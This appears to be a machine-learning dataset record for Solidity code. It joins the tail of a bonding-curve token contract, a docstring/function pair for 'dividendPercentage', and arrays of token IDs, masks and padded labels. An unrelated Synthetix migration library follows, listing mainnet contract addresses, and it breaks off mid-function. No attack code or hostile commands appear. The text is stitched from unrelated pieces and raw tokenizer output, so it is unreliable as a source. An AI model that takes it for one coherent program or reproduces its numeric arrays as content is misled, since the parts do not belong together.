TOKEN_BURN_FAILED = "bondedToken burn failed"; string internal constant TRANSFER_TO_RECIPIENT_FAILED = "Transfer to recipient failed"; event BeneficiarySet(address beneficiary); event BuyCurveSet(address buyCurve); event SellCurveSet(address sellCurve); event DividendPercentageSet(uint256 dividendPercentage); event ReservePercentageSet(uint256 reservePercentage); event Buy( address indexed buyer, address indexed recipient, uint256 amount, uint256 price, uint256 reserveAmount, uint256 beneficiaryAmount ); event Sell(address indexed seller, address indexed recipient, uint256 amount, uint256 reward); event Pay( address indexed from, address indexed token, uint256 amount, uint256 beneficiaryAmount, uint256 dividendAmount ); /// @dev Initialize contract /// @param owner Contract owner, can conduct administrative functions. /// @param beneficiary Recieves a proportion of incoming tokens on buy() and pay() operations. /// @param bondedToken Token native to the curve. The bondingCurve contract has exclusive rights to mint and burn tokens. /// @param buyCurve Curve logic for buy curve. /// @param reservePercentage Percentage of incoming collateralTokens distributed to beneficiary on buys. (The remainder is sent to reserve for sells) /// @param dividendPercentage Percentage of incoming collateralTokens distributed to beneficiary on payments. The remainder being distributed among current bondedToken holders. Divided by precision value. function initialize( address owner, address beneficiary, BondedToken bondedToken, ICurveLogic buyCurve, uint256 reservePercentage, uint256 dividendPercentage ) public initializer { _isValiddividendPercentage(reservePercentage); _isValidreservePercentage(dividendPercentage); Ownable.initialize(owner); Pausable.initialize(owner); _beneficiary = beneficiary; _buyCurve = buyCurve; _bondedToken = bondedToken; _reservePercentage = reservePercentage; _dividendPercentage = dividendPercentage; emit BuyCurveSet(address(_buyCurve)); emit BeneficiarySet(_beneficiary); emit ReservePercentageSet(_reservePercentage); emit DividendPercentageSet(_dividendPercentage); } function _isValidreservePercentage(uint256 reservePercentage) internal view { require(reservePercentage <= MAX_PERCENTAGE, SPLIT_ON_BUY_INVALID); } function _isValiddividendPercentage(uint256 dividendPercentage) internal view { require(dividendPercentage <= MAX_PERCENTAGE, SPLIT_ON_PAY_INVALID); } /// @notice Get the price in ether to mint tokens /// @param numTokens The number of tokens to calculate price for function priceToBuy(uint256 numTokens) public view returns (uint256) { return _buyCurve.calcMintPrice(_bondedToken.totalSupply(), _reserveBalance, numTokens); } /// @notice Get the reward in ether to burn tokens /// @param numTokens The number of tokens to calculate reward for function rewardForSell(uint256 numTokens) public view returns (uint256) { uint256 buyPrice = priceToBuy(numTokens); return (buyPrice.mul(_reservePercentage)).div(MAX_PERCENTAGE); } /* Abstract Functions */ /// @dev Sell a given number of bondedTokens for a number of collateralTokens determined by the current rate from the sell curve. /// @param numTokens The number of bondedTokens to sell /// @param minPrice Minimum total price allowable to receive in collateralTokens /// @param recipient Address to send the new bondedTokens to function sell( uint256 numTokens, uint256 minPrice, address recipient ) public returns(uint256 collateralReceived); /* Internal Functions */ function _preBuy( uint256 amount, uint256 maxPrice ) internal returns ( uint256 buyPrice, uint256 toReserve, uint256 toBeneficiary ) { require(amount > 0, REQUIRE_NON_ZERO_NUM_TOKENS); buyPrice = priceToBuy(amount); if (maxPrice != 0) { require(buyPrice <= maxPrice, MAX_PRICE_EXCEEDED); } toReserve = rewardForSell(amount); toBeneficiary = buyPrice.sub(toReserve); } function _postBuy( address buyer, address recipient, uint256 amount, uint256 buyPrice, uint256 toReserve, uint256 toBeneficiary ) internal { _reserveBalance = _reserveBalance.add(toReserve); _bondedToken.mint(recipient, amount); emit Buy(buyer, recipient, amount, buyPrice, toReserve, toBeneficiary); } /* Admin Functions */ /// @notice Set beneficiary to a new address /// @param beneficiary New beneficiary function setBeneficiary(address beneficiary) public onlyOwner { _beneficiary = beneficiary; emit BeneficiarySet(_beneficiary); } /// @notice Set buy curve to a new address /// @param buyCurve New buy curve function setBuyCurve(ICurveLogic buyCurve) public onlyOwner { _buyCurve = buyCurve; emit BuyCurveSet(address(_buyCurve)); } /// @notice Set split on buy to new value /// @param reservePercentage New split on buy value function setReservePercentage(uint256 reservePercentage) public onlyOwner { _isValidreservePercentage(reservePercentage); _reservePercentage = reservePercentage; emit ReservePercentageSet(_reservePercentage); } /// @notice Set split on pay to new value /// @param dividendPercentage New split on pay value function setDividendPercentage(uint256 dividendPercentage) public onlyOwner { _isValiddividendPercentage(dividendPercentage); _dividendPercentage = dividendPercentage; emit DividendPercentageSet(_dividendPercentage); } /* Getter Functions */ /// @notice Get bonded token contract function bondedToken() public view returns (BondedToken) { return _bondedToken; } /// @notice Get buy curve contract function buyCurve() public view returns (ICurveLogic) { return _buyCurve; } /// @notice Get beneficiary function beneficiary() public view returns (address) { return _beneficiary; } /// @notice Get reserve balance function reserveBalance() public view returns (uint256) { return _reserveBalance; } /// @notice Get split on buy parameter function reservePercentage() public view returns (uint256) { return _reservePercentage; } /// @notice Get split on pay parameter function dividendPercentage() public view returns (uint256) { return _dividendPercentage; } /// @notice Get minimum value accepted for payments function getPaymentThreshold() public view returns (uint256) { return MICRO_PAYMENT_THRESHOLD; } }
@notice Get split on pay parameter
function dividendPercentage() public view returns (uint256) { return _dividendPercentage; }
12,574,188
[ 1, 967, 1416, 603, 8843, 1569, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 31945, 16397, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 389, 2892, 26746, 16397, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.16; import "../AddressResolver.sol"; import "../BaseMigration.sol"; import "../ExchangeRatesWithDexPricing.sol"; import "../ExchangeState.sol"; import "../FeePool.sol"; import "../FeePoolEternalStorage.sol"; import "../FeePoolState.sol"; import "../Issuer.sol"; import "../legacy/LegacyTokenState.sol"; import "../MultiCollateralSynth.sol"; import "../Proxy.sol"; import "../ProxyERC20.sol"; import "../RewardEscrow.sol"; import "../RewardsDistribution.sol"; import "../SynthetixState.sol"; import "../SystemSettings.sol"; import "../SystemStatus.sol"; import "../TokenState.sol"; interface ISynthetixNamedContract { // solhint-disable func-name-mixedcase function CONTRACT_NAME() external view returns (bytes32); } // solhint-disable contract-name-camelcase library Migration_Alkaid_Supplemental { // https://etherscan.io/address/0xEb3107117FEAd7de89Cd14D463D340A2E6917769; address public constant OWNER = 0xEb3107117FEAd7de89Cd14D463D340A2E6917769; // ---------------------------- // EXISTING SYNTHETIX CONTRACTS // ---------------------------- // https://etherscan.io/address/0x823bE81bbF96BEc0e25CA13170F5AaCb5B79ba83 AddressResolver public constant addressresolver_i = AddressResolver(0x823bE81bbF96BEc0e25CA13170F5AaCb5B79ba83); // https://etherscan.io/address/0xb440DD674e1243644791a4AdfE3A2AbB0A92d309 Proxy public constant proxyfeepool_i = Proxy(0xb440DD674e1243644791a4AdfE3A2AbB0A92d309); // https://etherscan.io/address/0xC9DFff5fA5605fd94F8B7927b892F2B57391e8bB FeePoolEternalStorage public constant feepooleternalstorage_i = FeePoolEternalStorage(0xC9DFff5fA5605fd94F8B7927b892F2B57391e8bB); // https://etherscan.io/address/0x11164F6a47C3f8472D19b9aDd516Fc780cb7Ee02 FeePoolState public constant feepoolstate_i = FeePoolState(0x11164F6a47C3f8472D19b9aDd516Fc780cb7Ee02); // https://etherscan.io/address/0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F Proxy public constant proxysynthetix_i = Proxy(0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F); // https://etherscan.io/address/0x545973f28950f50fc6c7F52AAb4Ad214A27C0564 ExchangeState public constant exchangestate_i = ExchangeState(0x545973f28950f50fc6c7F52AAb4Ad214A27C0564); // https://etherscan.io/address/0x1c86B3CDF2a60Ae3a574f7f71d44E2C50BDdB87E SystemStatus public constant systemstatus_i = SystemStatus(0x1c86B3CDF2a60Ae3a574f7f71d44E2C50BDdB87E); // https://etherscan.io/address/0x5b1b5fEa1b99D83aD479dF0C222F0492385381dD LegacyTokenState public constant tokenstatesynthetix_i = LegacyTokenState(0x5b1b5fEa1b99D83aD479dF0C222F0492385381dD); // https://etherscan.io/address/0x4b9Ca5607f1fF8019c1C6A3c2f0CC8de622D5B82 SynthetixState public constant synthetixstate_i = SynthetixState(0x4b9Ca5607f1fF8019c1C6A3c2f0CC8de622D5B82); // https://etherscan.io/address/0xb671F2210B1F6621A2607EA63E6B2DC3e2464d1F RewardEscrow public constant rewardescrow_i = RewardEscrow(0xb671F2210B1F6621A2607EA63E6B2DC3e2464d1F); // https://etherscan.io/address/0x29C295B046a73Cde593f21f63091B072d407e3F2 RewardsDistribution public constant rewardsdistribution_i = RewardsDistribution(0x29C295B046a73Cde593f21f63091B072d407e3F2); // https://etherscan.io/address/0xc398406FFfBEd5B0680e706634490062CB1DB579 FeePool public constant feepool_i = FeePool(0xc398406FFfBEd5B0680e706634490062CB1DB579); // https://etherscan.io/address/0x6d9296Df2ad52F174bF671f555d78628bEBa7752 ExchangeRatesWithDexPricing public constant exchangerates_i = ExchangeRatesWithDexPricing(0x6d9296Df2ad52F174bF671f555d78628bEBa7752); // https://etherscan.io/address/0xAFDd6B5A8aB32156dBFb4060ff87F6d9E31191bA MultiCollateralSynth public constant synthsusd_i = MultiCollateralSynth(0xAFDd6B5A8aB32156dBFb4060ff87F6d9E31191bA); // https://etherscan.io/address/0x05a9CBe762B36632b3594DA4F082340E0e5343e8 TokenState public constant tokenstatesusd_i = TokenState(0x05a9CBe762B36632b3594DA4F082340E0e5343e8); // https://etherscan.io/address/0x57Ab1ec28D129707052df4dF418D58a2D46d5f51 Proxy public constant proxysusd_i = Proxy(0x57Ab1ec28D129707052df4dF418D58a2D46d5f51); // https://etherscan.io/address/0xe301da3d2D3e96e57D05b8E557656629cDdbe7A0 MultiCollateralSynth public constant synthseur_i = MultiCollateralSynth(0xe301da3d2D3e96e57D05b8E557656629cDdbe7A0); // https://etherscan.io/address/0x6568D9e750fC44AF00f857885Dfb8281c00529c4 TokenState public constant tokenstateseur_i = TokenState(0x6568D9e750fC44AF00f857885Dfb8281c00529c4); // https://etherscan.io/address/0xD71eCFF9342A5Ced620049e616c5035F1dB98620 ProxyERC20 public constant proxyseur_i = ProxyERC20(0xD71eCFF9342A5Ced620049e616c5035F1dB98620); // https://etherscan.io/address/0x4ed5c5D5793f86c8a85E1a96E37b6d374DE0E85A MultiCollateralSynth public constant synthsjpy_i = MultiCollateralSynth(0x4ed5c5D5793f86c8a85E1a96E37b6d374DE0E85A); // https://etherscan.io/address/0x4dFACfB15514C21c991ff75Bc7Bf6Fb1F98361ed TokenState public constant tokenstatesjpy_i = TokenState(0x4dFACfB15514C21c991ff75Bc7Bf6Fb1F98361ed); // https://etherscan.io/address/0xF6b1C627e95BFc3c1b4c9B825a032Ff0fBf3e07d ProxyERC20 public constant proxysjpy_i = ProxyERC20(0xF6b1C627e95BFc3c1b4c9B825a032Ff0fBf3e07d); // https://etherscan.io/address/0x005d19CA7ff9D79a5Bdf0805Fc01D9D7c53B6827 MultiCollateralSynth public constant synthsaud_i = MultiCollateralSynth(0x005d19CA7ff9D79a5Bdf0805Fc01D9D7c53B6827); // https://etherscan.io/address/0xCb29D2cf2C65d3Be1d00F07f3441390432D55203 TokenState public constant tokenstatesaud_i = TokenState(0xCb29D2cf2C65d3Be1d00F07f3441390432D55203); // https://etherscan.io/address/0xF48e200EAF9906362BB1442fca31e0835773b8B4 ProxyERC20 public constant proxysaud_i = ProxyERC20(0xF48e200EAF9906362BB1442fca31e0835773b8B4); // https://etherscan.io/address/0xde3892383965FBa6eC434bE6350F85f140098708 MultiCollateralSynth public constant synthsgbp_i = MultiCollateralSynth(0xde3892383965FBa6eC434bE6350F85f140098708); // https://etherscan.io/address/0x7e88D19A79b291cfE5696d496055f7e57F537A75 TokenState public constant tokenstatesgbp_i = TokenState(0x7e88D19A79b291cfE5696d496055f7e57F537A75); // https://etherscan.io/address/0x97fe22E7341a0Cd8Db6F6C021A24Dc8f4DAD855F ProxyERC20 public constant proxysgbp_i = ProxyERC20(0x97fe22E7341a0Cd8Db6F6C021A24Dc8f4DAD855F); // https://etherscan.io/address/0x39DDbbb113AF3434048b9d8018a3e99d67C6eE0D MultiCollateralSynth public constant synthschf_i = MultiCollateralSynth(0x39DDbbb113AF3434048b9d8018a3e99d67C6eE0D); // https://etherscan.io/address/0x52496fE8a4feaEFe14d9433E00D48E6929c13deC TokenState public constant tokenstateschf_i = TokenState(0x52496fE8a4feaEFe14d9433E00D48E6929c13deC); // https://etherscan.io/address/0x0F83287FF768D1c1e17a42F44d644D7F22e8ee1d ProxyERC20 public constant proxyschf_i = ProxyERC20(0x0F83287FF768D1c1e17a42F44d644D7F22e8ee1d); // https://etherscan.io/address/0xe2f532c389deb5E42DCe53e78A9762949A885455 MultiCollateralSynth public constant synthskrw_i = MultiCollateralSynth(0xe2f532c389deb5E42DCe53e78A9762949A885455); // https://etherscan.io/address/0x93B6e9FbBd2c32a0DC3C2B943B7C3CBC2fE23730 TokenState public constant tokenstateskrw_i = TokenState(0x93B6e9FbBd2c32a0DC3C2B943B7C3CBC2fE23730); // https://etherscan.io/address/0x269895a3dF4D73b077Fc823dD6dA1B95f72Aaf9B ProxyERC20 public constant proxyskrw_i = ProxyERC20(0x269895a3dF4D73b077Fc823dD6dA1B95f72Aaf9B); // https://etherscan.io/address/0x2B3eb5eF0EF06f2E02ef60B3F36Be4793d321353 MultiCollateralSynth public constant synthsbtc_i = MultiCollateralSynth(0x2B3eb5eF0EF06f2E02ef60B3F36Be4793d321353); // https://etherscan.io/address/0x4F6296455F8d754c19821cF1EC8FeBF2cD456E67 TokenState public constant tokenstatesbtc_i = TokenState(0x4F6296455F8d754c19821cF1EC8FeBF2cD456E67); // https://etherscan.io/address/0xfE18be6b3Bd88A2D2A7f928d00292E7a9963CfC6 ProxyERC20 public constant proxysbtc_i = ProxyERC20(0xfE18be6b3Bd88A2D2A7f928d00292E7a9963CfC6); // https://etherscan.io/address/0xc70B42930BD8D30A79B55415deC3be60827559f7 MultiCollateralSynth public constant synthseth_i = MultiCollateralSynth(0xc70B42930BD8D30A79B55415deC3be60827559f7); // https://etherscan.io/address/0x34A5ef81d18F3a305aE9C2d7DF42beef4c79031c TokenState public constant tokenstateseth_i = TokenState(0x34A5ef81d18F3a305aE9C2d7DF42beef4c79031c); // https://etherscan.io/address/0x5e74C9036fb86BD7eCdcb084a0673EFc32eA31cb ProxyERC20 public constant proxyseth_i = ProxyERC20(0x5e74C9036fb86BD7eCdcb084a0673EFc32eA31cb); // https://etherscan.io/address/0x3FFE35c3d412150C3B91d3E22eBA60E16030C608 MultiCollateralSynth public constant synthslink_i = MultiCollateralSynth(0x3FFE35c3d412150C3B91d3E22eBA60E16030C608); // https://etherscan.io/address/0x577D4a7395c6A5f46d9981a5F83fa7294926aBB0 TokenState public constant tokenstateslink_i = TokenState(0x577D4a7395c6A5f46d9981a5F83fa7294926aBB0); // https://etherscan.io/address/0xbBC455cb4F1B9e4bFC4B73970d360c8f032EfEE6 ProxyERC20 public constant proxyslink_i = ProxyERC20(0xbBC455cb4F1B9e4bFC4B73970d360c8f032EfEE6); // https://etherscan.io/address/0x8f9fa817200F5B95f9572c8Acf2b31410C00335a MultiCollateralSynth public constant synthsada_i = MultiCollateralSynth(0x8f9fa817200F5B95f9572c8Acf2b31410C00335a); // https://etherscan.io/address/0x9956c5019a24fbd5B506AD070b771577bAc5c343 TokenState public constant tokenstatesada_i = TokenState(0x9956c5019a24fbd5B506AD070b771577bAc5c343); // https://etherscan.io/address/0xe36E2D3c7c34281FA3bC737950a68571736880A1 ProxyERC20 public constant proxysada_i = ProxyERC20(0xe36E2D3c7c34281FA3bC737950a68571736880A1); // https://etherscan.io/address/0x0705F0716b12a703d4F8832Ec7b97C61771f0361 MultiCollateralSynth public constant synthsaave_i = MultiCollateralSynth(0x0705F0716b12a703d4F8832Ec7b97C61771f0361); // https://etherscan.io/address/0x9BcED8A8E3Ad81c9b146FFC880358f734A06f7c0 TokenState public constant tokenstatesaave_i = TokenState(0x9BcED8A8E3Ad81c9b146FFC880358f734A06f7c0); // https://etherscan.io/address/0xd2dF355C19471c8bd7D8A3aa27Ff4e26A21b4076 ProxyERC20 public constant proxysaave_i = ProxyERC20(0xd2dF355C19471c8bd7D8A3aa27Ff4e26A21b4076); // https://etherscan.io/address/0xfA60918C4417b64E722ca15d79C751c1f24Ab995 MultiCollateralSynth public constant synthsdot_i = MultiCollateralSynth(0xfA60918C4417b64E722ca15d79C751c1f24Ab995); // https://etherscan.io/address/0x73B1a2643507Cd30F11Dfcf2D974f4373E5BC077 TokenState public constant tokenstatesdot_i = TokenState(0x73B1a2643507Cd30F11Dfcf2D974f4373E5BC077); // https://etherscan.io/address/0x1715AC0743102BF5Cd58EfBB6Cf2dC2685d967b6 ProxyERC20 public constant proxysdot_i = ProxyERC20(0x1715AC0743102BF5Cd58EfBB6Cf2dC2685d967b6); // https://etherscan.io/address/0xe59dFC746D566EB40F92ed0B162004e24E3AC932 MultiCollateralSynth public constant synthsdefi_i = MultiCollateralSynth(0xe59dFC746D566EB40F92ed0B162004e24E3AC932); // https://etherscan.io/address/0x7Ac2D37098a65B0f711CFfA3be635F1E6aCacFaB TokenState public constant tokenstatesdefi_i = TokenState(0x7Ac2D37098a65B0f711CFfA3be635F1E6aCacFaB); // https://etherscan.io/address/0xe1aFe1Fd76Fd88f78cBf599ea1846231B8bA3B6B ProxyERC20 public constant proxysdefi_i = ProxyERC20(0xe1aFe1Fd76Fd88f78cBf599ea1846231B8bA3B6B); // https://etherscan.io/address/0xC2F1F551bfAd1E9A3b4816513bFd41d77f40F915 Issuer public constant issuer_i = Issuer(0xC2F1F551bfAd1E9A3b4816513bFd41d77f40F915); // https://etherscan.io/address/0xb6B476C41Ea01930e6abE1f44b96800de0404c98 SystemSettings public constant systemsettings_i = SystemSettings(0xb6B476C41Ea01930e6abE1f44b96800de0404c98); // ---------------------------------- // NEW CONTRACTS DEPLOYED TO BE ADDED // ---------------------------------- // https://etherscan.io/address/0xb6B476C41Ea01930e6abE1f44b96800de0404c98 address public constant new_SystemSettings_contract = 0xb6B476C41Ea01930e6abE1f44b96800de0404c98; // https://etherscan.io/address/0x6d9296Df2ad52F174bF671f555d78628bEBa7752 address public constant new_ExchangeRates_contract = 0x6d9296Df2ad52F174bF671f555d78628bEBa7752; // https://etherscan.io/address/0xc398406FFfBEd5B0680e706634490062CB1DB579 address public constant new_FeePool_contract = 0xc398406FFfBEd5B0680e706634490062CB1DB579; // https://etherscan.io/address/0xDC01020857afbaE65224CfCeDb265d1216064c59 address public constant new_Synthetix_contract = 0xDC01020857afbaE65224CfCeDb265d1216064c59; // https://etherscan.io/address/0x9D5551Cd3425Dd4585c3E7Eb7E4B98902222521E address public constant new_DebtCache_contract = 0x9D5551Cd3425Dd4585c3E7Eb7E4B98902222521E; // https://etherscan.io/address/0x2A417C61B8062363e4ff50900779463b45d235f6 address public constant new_Exchanger_contract = 0x2A417C61B8062363e4ff50900779463b45d235f6; // https://etherscan.io/address/0xC2F1F551bfAd1E9A3b4816513bFd41d77f40F915 address public constant new_Issuer_contract = 0xC2F1F551bfAd1E9A3b4816513bFd41d77f40F915; // https://etherscan.io/address/0x0a6956d554485a43494D69Eca78C5103511a8fEb address public constant new_WrapperFactory_contract = 0x0a6956d554485a43494D69Eca78C5103511a8fEb; // https://etherscan.io/address/0xAFDd6B5A8aB32156dBFb4060ff87F6d9E31191bA address public constant new_SynthsUSD_contract = 0xAFDd6B5A8aB32156dBFb4060ff87F6d9E31191bA; // https://etherscan.io/address/0xe301da3d2D3e96e57D05b8E557656629cDdbe7A0 address public constant new_SynthsEUR_contract = 0xe301da3d2D3e96e57D05b8E557656629cDdbe7A0; // https://etherscan.io/address/0x4ed5c5D5793f86c8a85E1a96E37b6d374DE0E85A address public constant new_SynthsJPY_contract = 0x4ed5c5D5793f86c8a85E1a96E37b6d374DE0E85A; // https://etherscan.io/address/0x005d19CA7ff9D79a5Bdf0805Fc01D9D7c53B6827 address public constant new_SynthsAUD_contract = 0x005d19CA7ff9D79a5Bdf0805Fc01D9D7c53B6827; // https://etherscan.io/address/0xde3892383965FBa6eC434bE6350F85f140098708 address public constant new_SynthsGBP_contract = 0xde3892383965FBa6eC434bE6350F85f140098708; // https://etherscan.io/address/0x39DDbbb113AF3434048b9d8018a3e99d67C6eE0D address public constant new_SynthsCHF_contract = 0x39DDbbb113AF3434048b9d8018a3e99d67C6eE0D; // https://etherscan.io/address/0xe2f532c389deb5E42DCe53e78A9762949A885455 address public constant new_SynthsKRW_contract = 0xe2f532c389deb5E42DCe53e78A9762949A885455; // https://etherscan.io/address/0x2B3eb5eF0EF06f2E02ef60B3F36Be4793d321353 address public constant new_SynthsBTC_contract = 0x2B3eb5eF0EF06f2E02ef60B3F36Be4793d321353; // https://etherscan.io/address/0xc70B42930BD8D30A79B55415deC3be60827559f7 address public constant new_SynthsETH_contract = 0xc70B42930BD8D30A79B55415deC3be60827559f7; // https://etherscan.io/address/0x3FFE35c3d412150C3B91d3E22eBA60E16030C608 address public constant new_SynthsLINK_contract = 0x3FFE35c3d412150C3B91d3E22eBA60E16030C608; // https://etherscan.io/address/0x8f9fa817200F5B95f9572c8Acf2b31410C00335a address public constant new_SynthsADA_contract = 0x8f9fa817200F5B95f9572c8Acf2b31410C00335a; // https://etherscan.io/address/0x0705F0716b12a703d4F8832Ec7b97C61771f0361 address public constant new_SynthsAAVE_contract = 0x0705F0716b12a703d4F8832Ec7b97C61771f0361; // https://etherscan.io/address/0xfA60918C4417b64E722ca15d79C751c1f24Ab995 address public constant new_SynthsDOT_contract = 0xfA60918C4417b64E722ca15d79C751c1f24Ab995; // https://etherscan.io/address/0xe59dFC746D566EB40F92ed0B162004e24E3AC932 address public constant new_SynthsDEFI_contract = 0xe59dFC746D566EB40F92ed0B162004e24E3AC932; function require_check() external { require( ISynthetixNamedContract(new_SystemSettings_contract).CONTRACT_NAME() == "SystemSettings", "Invalid contract supplied for SystemSettings" ); require( ISynthetixNamedContract(new_ExchangeRates_contract).CONTRACT_NAME() == "ExchangeRatesWithDexPricing", "Invalid contract supplied for ExchangeRates" ); require( ISynthetixNamedContract(new_FeePool_contract).CONTRACT_NAME() == "FeePool", "Invalid contract supplied for FeePool" ); require( ISynthetixNamedContract(new_Synthetix_contract).CONTRACT_NAME() == "Synthetix", "Invalid contract supplied for Synthetix" ); require( ISynthetixNamedContract(new_DebtCache_contract).CONTRACT_NAME() == "DebtCache", "Invalid contract supplied for DebtCache" ); require( ISynthetixNamedContract(new_Exchanger_contract).CONTRACT_NAME() == "ExchangerWithFeeRecAlternatives", "Invalid contract supplied for Exchanger" ); require( ISynthetixNamedContract(new_Issuer_contract).CONTRACT_NAME() == "Issuer", "Invalid contract supplied for Issuer" ); require( ISynthetixNamedContract(new_WrapperFactory_contract).CONTRACT_NAME() == "WrapperFactory", "Invalid contract supplied for WrapperFactory" ); require( ISynthetixNamedContract(new_SynthsUSD_contract).CONTRACT_NAME() == "MultiCollateralSynth", "Invalid contract supplied for SynthsUSD" ); require( ISynthetixNamedContract(new_SynthsEUR_contract).CONTRACT_NAME() == "MultiCollateralSynth", "Invalid contract supplied for SynthsEUR" ); require( ISynthetixNamedContract(new_SynthsJPY_contract).CONTRACT_NAME() == "MultiCollateralSynth", "Invalid contract supplied for SynthsJPY" ); require( ISynthetixNamedContract(new_SynthsAUD_contract).CONTRACT_NAME() == "MultiCollateralSynth", "Invalid contract supplied for SynthsAUD" ); require( ISynthetixNamedContract(new_SynthsGBP_contract).CONTRACT_NAME() == "MultiCollateralSynth", "Invalid contract supplied for SynthsGBP" ); require( ISynthetixNamedContract(new_SynthsCHF_contract).CONTRACT_NAME() == "MultiCollateralSynth", "Invalid contract supplied for SynthsCHF" ); require( ISynthetixNamedContract(new_SynthsKRW_contract).CONTRACT_NAME() == "MultiCollateralSynth", "Invalid contract supplied for SynthsKRW" ); require( ISynthetixNamedContract(new_SynthsBTC_contract).CONTRACT_NAME() == "MultiCollateralSynth", "Invalid contract supplied for SynthsBTC" ); require( ISynthetixNamedContract(new_SynthsETH_contract).CONTRACT_NAME() == "MultiCollateralSynth", "Invalid contract supplied for SynthsETH" ); require( ISynthetixNamedContract(new_SynthsLINK_contract).CONTRACT_NAME() == "MultiCollateralSynth", "Invalid contract supplied for SynthsLINK" ); require( ISynthetixNamedContract(new_SynthsADA_contract).CONTRACT_NAME() == "MultiCollateralSynth", "Invalid contract supplied for SynthsADA" ); require( ISynthetixNamedContract(new_SynthsAAVE_contract).CONTRACT_NAME() == "MultiCollateralSynth", "Invalid contract supplied for SynthsAAVE" ); require( ISynthetixNamedContract(new_SynthsDOT_contract).CONTRACT_NAME() == "MultiCollateralSynth", "Invalid contract supplied for SynthsDOT" ); require( ISynthetixNamedContract(new_SynthsDEFI_contract).CONTRACT_NAME() == "MultiCollateralSynth", "Invalid contract supplied for SynthsDEFI" ); } function addressresolver_importAddresses_0() external { bytes32[] memory addressresolver_importAddresses_names_0_0 = new bytes32[](22); addressresolver_importAddresses_names_0_0[0] = bytes32("SystemSettings"); addressresolver_importAddresses_names_0_0[1] = bytes32("ExchangeRates"); addressresolver_importAddresses_names_0_0[2] = bytes32("FeePool"); addressresolver_importAddresses_names_0_0[3] = bytes32("Synthetix"); addressresolver_importAddresses_names_0_0[4] = bytes32("DebtCache"); addressresolver_importAddresses_names_0_0[5] = bytes32("Exchanger"); addressresolver_importAddresses_names_0_0[6] = bytes32("Issuer"); addressresolver_importAddresses_names_0_0[7] = bytes32("WrapperFactory"); addressresolver_importAddresses_names_0_0[8] = bytes32("SynthsUSD"); addressresolver_importAddresses_names_0_0[9] = bytes32("SynthsEUR"); addressresolver_importAddresses_names_0_0[10] = bytes32("SynthsJPY"); addressresolver_importAddresses_names_0_0[11] = bytes32("SynthsAUD"); addressresolver_importAddresses_names_0_0[12] = bytes32("SynthsGBP"); addressresolver_importAddresses_names_0_0[13] = bytes32("SynthsCHF"); addressresolver_importAddresses_names_0_0[14] = bytes32("SynthsKRW"); addressresolver_importAddresses_names_0_0[15] = bytes32("SynthsBTC"); addressresolver_importAddresses_names_0_0[16] = bytes32("SynthsETH"); addressresolver_importAddresses_names_0_0[17] = bytes32("SynthsLINK"); addressresolver_importAddresses_names_0_0[18] = bytes32("SynthsADA"); addressresolver_importAddresses_names_0_0[19] = bytes32("SynthsAAVE"); addressresolver_importAddresses_names_0_0[20] = bytes32("SynthsDOT"); addressresolver_importAddresses_names_0_0[21] = bytes32("SynthsDEFI"); address[] memory addressresolver_importAddresses_destinations_0_1 = new address[](22); addressresolver_importAddresses_destinations_0_1[0] = address(new_SystemSettings_contract); addressresolver_importAddresses_destinations_0_1[1] = address(new_ExchangeRates_contract); addressresolver_importAddresses_destinations_0_1[2] = address(new_FeePool_contract); 